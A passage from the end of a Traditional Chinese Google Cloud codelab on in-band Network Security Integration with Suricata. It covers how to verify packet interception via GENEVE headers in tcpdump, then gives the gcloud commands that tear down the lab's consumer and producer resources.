8], length 0
請注意,您可以使用 tcpdump 查看 GENEVE 標頭。來源 IP 是子網路閘道 (10.0.0.1),目的地 IP 是轉送規則 (10.0.0.11 或 10.0.0.12)。封裝的封包包含原始封包,也就是消費者-$zonea (192.168.0.2) 或消費者-$zoneb (192.168.0.3) 的用戶端 IP,以及目的地 google.com。這會確認封包遭到攔截,並透過網路安全整合服務傳送至第三方設備。
- 結束 SSH 工作階段,返回 Cloud Shell
exit
恭喜!您已成功部署並測試頻帶內網路安全整合服務 (NSI) 環境。
5. 清除
消費者
刪除 Consumer VM:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
刪除防火牆關聯和政策:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
刪除安全性設定檔群組和安全性設定檔:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
刪除端點關聯和攔截端點群組:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
刪除 Cloud NAT、Cloud Router 和預留 IP
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
刪除虛擬私有雲和子網路
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
供應端
刪除攔截部署項目:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
刪除攔截部署項目群組 (必須先完成刪除攔截部署項目,這個指令才會成功):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
刪除轉送規則:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
刪除轉送規則預留的 IP:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
刪除後端服務:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
刪除非代管執行個體群組:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
刪除健康狀態檢查:
gcloud compute health-checks delete nva-hc -q
刪除 Producer VM:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
刪除 Cloud NAT、Cloud Router 和預留 IP:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
刪除防火牆政策關聯:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
刪除防火牆政策:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
刪除虛擬私有雲和子網路
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. 恭喜!
恭喜,您已成功完成「透過 Suricata 整合頻帶內網路安全」程式碼研究室。
觀看 NSI 頻帶內廠商專屬示範影片:
請參閱下列供應商專屬部署指南,瞭解貴機構可能適用的內容: